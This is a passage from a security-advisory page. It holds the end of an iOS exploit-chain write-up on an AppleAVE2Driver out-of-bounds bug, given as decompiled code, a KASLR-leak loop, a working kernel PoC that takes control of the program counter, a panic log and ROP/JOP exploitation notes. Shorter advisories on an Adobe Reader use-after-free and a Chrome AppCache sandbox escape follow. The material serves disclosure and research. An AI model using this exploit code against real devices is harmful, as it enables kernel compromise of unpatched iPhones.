        // AppleSPUProfileDriverUserClient::extSignalBreak
        // Enqueues a data item of size 0x30, leaking 0x18 bytes off the stack
        IOConnectCallStructMethod(ioconn, 11, NULL, 0, NULL, NULL);
        // Map the IOSharedDataQueue and look for the leaked ptr
        kaslr = check_memmap_for_kaslr(ioconn);
        if (kaslr_iter++ % 5 == 0)
            scalarInput = 0;
            // AppleSPUProfileDriverUserClient::extSetEnabledMethod
            IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
            scalarInput = 1;
            // AppleSPUProfileDriverUserClient::extSetEnabledMethod
            IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL);
    scalarInput = 0;
    // AppleSPUProfileDriverUserClient::extSetEnabledMethod
    IOConnectCallScalarMethod(ioconn, 0, &scalarInput, 1, NULL, NULL); // Shutdown
    return kaslr;
Going for Gold: Attacking the Kernel

The final vulnerability in this chain is a missing bounds check in AppleAVE2Driver. AppleAVE2 is a graphics driver in iOS, and in our case is accessible via the MIDIServer sandbox escape. The userclient exposes 24 methods, and this bug exists within the method at index 7; _SetSessionSettings. This method takes an input buffer of size 0x108, and loads many IOSurfaces from ID’s provided in the input buffer via the AppleAVE2Driver::GetIOSurfaceFromCSID method, before finally calling AppleAVE2Driver::Enqueue. Specifically, the method will load a surface by the name of InitInfoSurfaceId or InitInfoBufferr:

  if ( !structIn->InitInfoSurfaceId )
    goto err;
  initInfoSurfaceId = structIn->InitInfoSurfaceId;
  if ( initInfoSurfaceId )
    initInfoBuffer = AppleAVE2Driver::GetIOSurfaceFromCSID(this->provider, initInfoSurfaceId, this->task);
    this->InitInfoBuffer = initInfoBuffer;
    if ( initInfoBuffer )
      goto LABEL_13;
    goto err;

The AppleAVE2Driver::Enqueue method will then create an IOSurfaceBufferMngr instance on this IOSurface:

  bufferMgr = operator new(0x70uLL);
  if ( !IOSurfaceBufferMngr::IOSurfaceBufferMngr(bufferMgr, 0LL, this) )
    goto LABEL_23;
  if ( IOSurfaceBufferMngr::CreateBufferFromIOSurface(
         0x1F4u) )
    err = 0xE00002BDLL;
    v28 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(bufferMgr);
    operator delete(v28);
    return err;
  if ( bufferMgr->size < 0x25DD0 )
    err = 0xE00002BCLL;
    goto LABEL_27;
  buffMgrKernAddr = bufferMgr->kernelAddress;
  if ( !buffMgrKernAddr )
    goto LABEL_20;

Bearing in mind the data within this buffer (now mapped at buffMgrKernAddr) is userland-controlled, the method will proceed to copy large chunks of data out of the buffer into an AVEClient * object, which I have named currentClient:

  currentClient->unsigned2400 = *(buffMgrKernAddr + 2008);
  memmove(&currentClient->unsigned2404, buffMgrKernAddr + 2012, 0x2BE4LL);
  currentClient->oword5018 = *(buffMgrKernAddr + 13296);
  currentClient->oword5008 = *(buffMgrKernAddr + 13280);
  currentClient->oword4FF8 = *(buffMgrKernAddr + 13264);
  currentClient->oword4FE8 = *(buffMgrKernAddr + 13248);
  currentClient->oword5058 = *(buffMgrKernAddr + 13360);
  currentClient->memoryInfoCnt2 = *(buffMgrKernAddr + 0x3420);
  currentClient->oword5038 = *(buffMgrKernAddr + 13328);
  currentClient->oword5028 = *(buffMgrKernAddr + 13312);
  currentClient->oword5098 = *(buffMgrKernAddr + 13424);
  currentClient->oword5088 = *(buffMgrKernAddr + 13408);
  currentClient->oword5078 = *(buffMgrKernAddr + 13392);
  currentClient->oword5068 = *(buffMgrKernAddr + 13376);
  currentClient->oword50C8 = *(buffMgrKernAddr + 13472);
  currentClient->oword50B8 = *(buffMgrKernAddr + 13456);
  currentClient->oword50A8 = *(buffMgrKernAddr + 13440);
  currentClient->qword50D8 = *(buffMgrKernAddr + 13488);
  memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);
  memmove(&currentClient->gap1C8C[0x5CC], buffMgrKernAddr + 1584, 0x1A8LL);

When closing an AppleAVE2Driver userclient via AppleAVE2DriverUserClient::_my_close, the code will call a function named AppleAVE2Driver::AVE_DestroyContext on the AVEClient object associated with that userclient. AVE_DestroyContext calls AppleAVE2Driver::DeleteMemoryInfo on many MEMORY_INFO structures located within the AVEClient, and as the penultimate step calls this function on an array of MEMORY_INFO structures in the client, the quantity of which is denoted by the memoryInfoCnt{1,2} fields:

  v73 = currentClient->memoryInfoCnt1 + 2;
  if ( v73 <= currentClient->memoryInfoCnt2 )
    v73 = currentClient->memoryInfoCnt2;
  if ( v73 )
    iter1 = 0LL;
    statsMapBufArr = currentClient->statsMapBufferArray;
      AppleAVE2Driver::DeleteMemoryInfo(this, statsMapBufArr);
      loopMax = currentClient->memoryInfoCnt1 + 2;
      cnt2 = currentClient->memoryInfoCnt2;
      if ( loopMax <= cnt2 )
        loopMax = cnt2;
        loopMax = loopMax;
      statsMapBufArr += 0x28LL;
    while ( iter1 < loopMax );

In _SetSessionSettings, there are bounds checks on the value of memoryInfoCnt1:

  if ( currentClient->memoryInfoCnt1 >= 4u )
    ret = 0xE00002BCLL;
    return ret;

However no such bounds checks on the value of memoryInfoCnt2. This missing check, combined with the following piece of logic in the while loop, means that the loop will access and call DeleteMemoryInfo on out-of-bounds data, provided a high enough value is provided as memoryInfoCnt2:

  loopMax = currentClient->memoryInfoCnt1 + 2;  // Take memoryInfoCnt1 (max 4), loopMax is <=6
  cnt2 = currentClient->memoryInfoCnt2;         // Take memoyInfoCnt2
  if ( loopMax <= cnt2 )                        // if cnt2 is larger than loopMax...
    loopMax = cnt2;                             // update loopMax to the value of memoryInfoCnt2
    loopMax = loopMax;                          // else, no change

By default, there are 5 MEMORY_INFO structures within the statsMapBufferArray. With each entry being of size 0x28, the array consumes 0xc8 (dec: 200) bytes. Becuase this array is inlined within the AVEClient * object, when we trigger the out-of-bounds bug the next DeleteMemoryInfo call will use whatever data may follow the statsMapBufferArray. On my iPhone 8’s 12.4 kernel, this array lies at offset 0x1b60, meaning the 6th entry (the first out-of-bounds entry) will be at offset 0x1c28.
Now, remember how in _SetSessionSettings large chunks of data are copied from a user-controlled buffer into the AVEClient object? It just so happens that one of these controlled buffers lies directly after the statsMapBufferArray field!

  00000000 AVEClient       struc ; (sizeof=0x29AC8, align=0x8, mappedto_215)
  00001B60 statsMapBufferArray DCB 200 dup(?)
  00001C28 sessionSettings_block1 DCB ?
  // Copies from the IOSurface buffer to a buffer adjacent to the statsMapBufferArray
  memmove(&currentClient->sessionSettings_block1, buffMgrKernAddr, 0x630LL);

So by providing crafted data in the IOSurface buffer copied into the AVEClient, we can have full control over the out-of-bounds array entries.

Taking (PC) Control

Now let’s look at the AppleAVE2Driver::DeleteMemoryInfo function itself, bearing in mind we have full control over the memInfo object:

__int64 AppleAVE2Driver::DeleteMemoryInfo(AppleAVE2Driver *this, IOSurfaceBufferMngr **memInfo)
  if ( memInfo )
    if ( *memInfo )
      v8 = IOSurfaceBufferMngr::~IOSurfaceBufferMngr(*memInfo);
      operator delete(v8);
    memset(memInfo, 0, 0x28uLL);
    result = 0LL;
    result = 0xE00002BCLL;
  return result;

The IOSurfaceBufferMngr destructor wraps directly around a static IOSurfaceBufferMngr::RemoveBuffer call:

IOSurfaceBufferMngr *IOSurfaceBufferMngr::~IOSurfaceBufferMngr(IOSurfaceBufferMngr *this)
  return this;

RemoveBuffer then calls IOSurfaceBufferMngr::CompleteFence, which in this case is best viewed as assembly:

IOSurfaceBufferMngr::CompleteFence(IOSurfaceBufferMngr *this)
                STP             X20, X19, [SP,#-0x10+var_10]!
                STP             X29, X30, [SP,#0x10+var_s0]
                ADD             X29, SP, #0x10
                MOV             X19, X0                         // x19 = x0 (controlled pointer)
                LDR             X0, [X0,#0x58]                  // Loads x0->0x58
                CBZ             X0, exit_stub                   // Exits if the value is zero
                LDRB            W8, [X19,#0x1E]                 // Loads some byte at x19->0x1e
                CBNZ            W8, exit_stub                   // Exits if the byte is non-zero
                MOV             W1, #0
                BL              IOFence::complete
                LDR             X0, [X19,#0x58]                 // Loads x19->0x58
                LDR             X8, [X0]                        // Loads x0->0x0
                LDR             X8, [X8,#0x28]                  // Loads function pointer x8->0x28
                BLR             X8                              // Branches to fptr, giving arbitrary PC control
                STR             XZR, [X19,#0x58]
                LDP             X29, X30, [SP,#0x10+var_s0]
                LDP             X20, X19, [SP+0x10+var_10],#0x20

In essence, by crafting a userland-shared buffer you can trigger an out-of-bounds access, which will almost directly give arbitrary PC control upon closing the userclient.
Here’s a PoC for this bug, it will panic the device with a dereference to the address 0x4141414142424242:

void kernel_bug_poc(io_connect_t ioconn, io_connect_t surface_ioconn)
    kern_return_t ret;
        char open_inputStruct[0x8] = { 0 };
        char open_outputStruct[0x4] = { 0 };
        size_t open_outputStruct_size = sizeof(open_outputStruct);
        // AppleAVE2UserClient::_my_open
        ret = IOConnectCallStructMethod(ioconn,
        NSLog(@"my_open: %x %s", ret, mach_error_string(ret));
    // Create an IOSurface using the IOSurface client owned by MIDIServer
    // Address & size of the shared mapping created by IOSurface and
    // returned in the output struct at offsets 0x0 and 0x1c respectively
    uint64_t surface_map_addr = 0x0;
    uint32_t surface_map_size = 0x0;
    uint32_t surface_id = IOSurfaceRootUserClient_CreateSurface(surface_ioconn, &surface_map_addr, &surface_map_size);
    NSLog(@"Got Surface ID: %d", surface_id);
    uintptr_t surface_data = malloc(surface_map_size);
    bzero((void *)surface_data, surface_map_size);
    *(uint64_t *)(surface_data + 0x0) = 0x4141414142424242;     // First pointer to memory containing function pointer
                                                                // This field is the start of the block adjacent to the stats array
    *(uint32_t *)(surface_data + 0x3420) = 6;                   // `memoryInfoCnt2` field, gives 1 OOB access
    // Sends the data to MIDIServer to be written onto the IOSurface
    // The MIDIServer ROP chain hangs on the following call:
    // vm_read_overwrite(ourtask, clientbuf, surface1_map_size, surface1_map_addr, ...)
    send_overwriting_iosurface_map(surface_data, surface_map_size, surface_map_addr);
    // Waits for a message back from MIDIServer, sent by the ROP chain
    // Notifies us that the vm_read_overwrite call completed
        // Write the OOB count value to the `currentClient` object, and write our adjacent data
        char setSessionSettings_inputStruct[0x108] = { 0 };
        char setSessionSettings_outputStruct[0x4] = { 0 };
        size_t setSessionSettings_outputStruct_size = sizeof(setSessionSettings_outputStruct);
        *(uint32_t *)(setSessionSettings_inputStruct + 0x04) = surface_id; // FrameQueueSurfaceId
        *(uint32_t *)(setSessionSettings_inputStruct + 0x08) = surface_id; // InitInfoSurfaceId, vulnerable IOSurface mapping
        *(uint32_t *)(setSessionSettings_inputStruct + 0x0c) = surface_id; // ParameterSetsBuffer
        *(uint32_t *)(setSessionSettings_inputStruct + 0xd0) = surface_id; // codedHeaderCSID & codedHeaderBuffer [0]
        *(uint32_t *)(setSessionSettings_inputStruct + 0xd4) = surface_id; // codedHeaderCSID & codedHeaderBuffer [1]
        // AppleAVE2UserClient::_SetSessionSettings
        ret = IOConnectCallStructMethod(ioconn,
        NSLog(@"SetSessionSettings: %x %s", ret, mach_error_string(ret));
        // Trigger the bug
        char close_inputStruct[0x4] = { 0 };
        char close_outputStruct[0x4] = { 0 };
        size_t close_outputStruct_size = sizeof(close_outputStruct);
        // AppleAVE2UserClient::_my_close
        ret = IOConnectCallStructMethod(ioconn,
        NSLog(@"my_close: %x %s", ret, mach_error_string(ret));

Panic log:

panic(cpu 5 caller 0xfffffff007205df4): Kernel data abort. (saved state: 0xffffffe03cafaf40)
	  x0: 0x4141414142424242  x1:  0xffffffe02cb09c28  x2:  0x0000000000000000  x3:  0xffffffe02cb09c28
	  x4: 0x0000000000000000  x5:  0x0000000000000000  x6:  0xfffffff00f35bb54  x7:  0x0000000000000000
	  x8: 0x0000000000000006  x9:  0x0000000000000006  x10: 0x0000000000000001  x11: 0x0000000000080022
	  x12: 0x0000000000000022 x13: 0xffffffe00094bc08  x14: 0x0000000000080023  x15: 0x0000000000006903
	  x16: 0xfffffff00ee71740 x17: 0x0000000000000000  x18: 0xfffffff00ee79000  x19: 0x4141414142424242
	  x20: 0xffffffe02cb08000 x21: 0x0000000000000000  x22: 0xffffffe02cb09c28  x23: 0x0000000000000005
	  x24: 0xffffffe02cb2f748 x25: 0xffffffe02cb0d034  x26: 0x0000000000000050  x27: 0xffffffe004929218
	  x28: 0x0000000000000000 fp:  0xffffffe03cafb2a0  lr:  0xfffffff0069397e8  sp:  0xffffffe03cafb290
	  pc:  0xfffffff0069398dc cpsr: 0x80400304         esr: 0x96000004          far: 0x414141414242429a

And you can see pc aligns is on the x0->0x58 instruction just before the branch:

0xFFFFFFF0069398CC IOSurfaceBufferMngr::CompleteFence
0xFFFFFFF0069398CC                 STP             X20, X19, [SP,#-0x10+var_10]!
0xFFFFFFF0069398D0                 STP             X29, X30, [SP,#0x10+var_s0]
0xFFFFFFF0069398D4                 ADD             X29, SP, #0x10
0xFFFFFFF0069398D8                 MOV             X19, X0
0xFFFFFFF0069398DC                 LDR             X0, [X0,#0x58]                 // Faults here
0xFFFFFFF0069398E0                 CBZ             X0, loc_FFFFFFF006939908
0xFFFFFFF0069398E4                 LDRB            W8, [X19,#0x1E]
0xFFFFFFF0069398E8                 CBNZ            W8, loc_FFFFFFF006939908
0xFFFFFFF0069398EC                 MOV             W1, #0
0xFFFFFFF0069398F0                 BL              IOFence__complete
0xFFFFFFF0069398F4                 LDR             X0, [X19,#0x58]
0xFFFFFFF0069398F8                 LDR             X8, [X0]
0xFFFFFFF0069398FC                 LDR             X8, [X8,#0x28]
0xFFFFFFF006939900                 BLR             X8

Exploitation of this bug is fairly simple, once the sandbox-escape primitives are set up.
The code in the PoC will also work for exploitation, however the value provided in the SetSessionSettings buffer (0x4141414142424242) will need to be pointed towards a controlled kernel buffer, of which our function pointer can be loaded from. An additional heap infoleak bug could be used for the highest guarantee of reliability. In this case, with a kASLR defeat, you can also speculate the location of the heap on a per-device basis: under high heap memory pressure it is likely that large allocations will end up within the same memory range (0xffffffe1XXXXXXXX).
Since this bug grants us PC control, it lends itself to exploitation via ROP or JOP. While this wouldn’t necessarily work for A12 or newer devices featuring PAC, the non-A12/A13 support is a limitation we already have with our sandbox escape, so this is no big problem. Also note that when building a ROP/JOP chain, the address of our controlled kernel buffer is within x19, and another controlled pointer in x0. This can be used as a stack pivot buffer or memory scratch space.
You can find the poc files on our GitHub repository.

Closing Words

Even with stringent sandboxing protections locking down large amounts of the kernel attack surface, many userland components still contain a large amount of attack surface themselves with many daemons implementing 50+ RPC’s. Chaining a sandbox escape can grant access to areas of the kernel which are highly under-audited, as much of the focus is put into the small slice of the kernel which is directly accessible.
If you have any further questions feel free to DM @iBSparkes on Twitter, or (G)mail me at bensparkes8.

Thank you

We would like to thank iBSparkes for writing this advisory and diving into the technical details with 08Tc3wBB.

SSD Advisory – Adobe Acrobat Reader DC Use After Free

Vulnerability Summary
A use-after-free vulnerability exists in Adobe Acrobat Reader DC, which allows attackers execute arbitrary code with the privileges of the current user.
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected systems

ProductTrackAffected VersionsPlatform
Acrobat DCContinuous2019.010.20100 and earlier versionsWindows and macOS
Acrobat Reader DCContinuous2019.010.20099 and earlier versionsWindows and macOS
Acrobat 2017Classic 20172017.011.30140 and earlier versionWindows and macOS
Acrobat Reader 2017Classic 20172017.011.30138 and earlier versionWindows and macOS
Acrobat DCClassic 20152015.006.30495 and earlier versionsWindows and macOS
Acrobat Reader DCClassic 20152015.006.30493 and earlier versionsWindows and macOS

Vendor Response
Adobe fixed this vulnerability and released a public security advisory in May 14, 2019. Adobe Advisory
Vulnerability Details
How to reproduce:
1. Set Paged Heap on for the “AcrodRD32.exe”
2. Open the attached “poc.pdf”, and you will see the crash.
Using WinDbg, we will see the following crash analysis. The test was done on Windows 10. Don’t forget to set Paged Heap on for the “AcroRd32.exe”.
Crash info

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll -
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api -
eax=00000000 ebx=3541efd8 ecx=15b2adc0 edx=3540cfe8 esi=00000000 edi=1e178bd8
eip=68406302 esp=00efeba0 ebp=00efeba0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
68406302 66398100010000  cmp     word ptr [ecx+100h],ax   ds:002b:15b2aec0=????
1:012> kv
 # ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00efeba0 66aea056 15b2adc0 c3ad4164 1e178bd8 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x8235f
01 00efec08 66aea024 00000001 3542cfb8 3542cf90 Annots!PlugInMain+0x3780e
02 00efec28 66ae9c12 297aefe8 00efec78 68380dfe Annots!PlugInMain+0x377dc
03 00efec34 68380dfe 3540aff0 1df3c3db 2803cff8 Annots!PlugInMain+0x373ca
04 00efec78 683808ed 3542cfb8 1df3c34b 0000011c AcroRd32!DllCanUnloadNow+0x1f5d4
05 00efece8 6838069f 1df3c2b3 00000113 0b518fd8 AcroRd32!DllCanUnloadNow+0x1f0c3
06 00efed10 68321267 000004d3 00000000 00000113 AcroRd32!DllCanUnloadNow+0x1ee75
07 00efed2c 7761bf1b 001205da 00000113 000004d3 AcroRd32!AcroWinMainSandbox+0x77f1
08 00efed58 776183ea 68320d1c 001205da 00000113 USER32!_InternalCallWinProc+0x2b
09 00efee40 77617c9e 68320d1c 00000000 00000113 USER32!UserCallWinProcCheckWow+0x3aa (FPO: [SEH])
0a 00efeebc 77617a80 adba9dc5 00eff154 6837ffca USER32!DispatchMessageWorker+0x20e (FPO: [Non-Fpo])
0b 00efeec8 6837ffca 00efeef4 1df3def7 00000001 USER32!DispatchMessageW+0x10 (FPO: [Non-Fpo])
0c 00eff154 6837fd92 1df3de2f 00000001 0b3f6de0 AcroRd32!DllCanUnloadNow+0x1e7a0
0d 00eff18c 6831a359 1df3de5b 0b206fa0 00eff6cc AcroRd32!DllCanUnloadNow+0x1e568
0e 00eff1f8 68319c2d 682f0000 00390000 0b206fa0 AcroRd32!AcroWinMainSandbox+0x8e3
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for AcroRd32.exe -
0f 00eff614 00397319 682f0000 00390000 0b206fa0 AcroRd32!AcroWinMainSandbox+0x1b7
10 00eff9dc 0049889a 00390000 00000000 0486a0d4 AcroRd32_exe+0x7319
11 00effa28 76418484 00c1a000 76418460 1545a828 AcroRd32_exe!AcroRd32IsBrokerProcess+0x908ba
12 00effa3c 77ae302c 00c1a000 1ed50fae 00000000 KERNEL32!BaseThreadInitThunk+0x24 (FPO: [Non-Fpo])
13 00effa84 77ae2ffa ffffffff 77afec59 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
14 00effa94 00000000 00391367 00c1a000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
1:012> !heap -p -a ecx
    address 15b2adc0 found in
    _DPH_HEAP_ROOT @ 4851000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   15ae1e38:         15b2a000             2000
    6a2bae02 verifier!AVrfDebugPageHeapFree+0x000000c2
    77b62fa1 ntdll!RtlDebugFreeHeap+0x0000003e
    77ac2735 ntdll!RtlpFreeHeap+0x000000d5
    77ac2302 ntdll!RtlFreeHeap+0x00000222
    7789e13b ucrtbase!_free_base+0x0000001b
    7789e108 ucrtbase!free+0x00000018
    6833f927 AcroRd32!CTJPEGLibInit+0x00003a77
    683de9cd AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0005aa2a
    683ca751 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000467ae
    683ca1f7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00046254
    6845e886 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000da8e3
    6845c847 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d88a4
    6845c7b5 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d8812
    6845c6d0 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d872d
    684a4526 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00120583
    6845752c AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000d3589
    684c1dc1 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013de1e
    684abd11 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00127d6e
    684a705a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001230b7
    684a6a0d AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122a6a
    684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511
    684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4
    684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334
    684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24
    684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511
    684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4
    684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334
    684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24
    684a64b4 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122511
    684ab857 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001278b4
    684aa2d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00126334
    684a6ac7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00122b24

ECX register is pointing to a freed memory. It is clear that this is a use-after-free condition.
If you will analyze the “poc.pdf”, several conditions must be met in order to reproduce this crash.
1. A pdf embedding another pdf, when opening the main pdf, the embedded pdf is opened.
2. The embedded pdf should contain JavaScript part. Any JavaScript is enough to trigger the crash.
It seems that as long as the above conditions meet, the poc will succeed.
The attacker can run JavaScript code in the embedded pdf in order to exploit this use-after-free vulnerability.
The poc.pdf file contains binary data, so we will encode it in base64.


SSD Advisory – Chrome AppCache Subsystem SBX by utilizing a Use After Free

Vulnerabilities Summary
The vulnerability exists in the AppCache subsystem in Chrome Versions 69.0 and before. This code is located in the privileged browser process outside of the sandbox. The renderer interacts with this subsystem by sending IPC messages from the renderer to the browser process. These messages can cause the browser to make network requests, which are also attacker-controlled and influence the behavior of the code.
Vendor Response
Vendor has fixed the issue in Google Chrome version 70.
Independent security researchers, Ned Williamson and Niklas Baumstark, had reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
Google Chrome Versions 69.0 and before.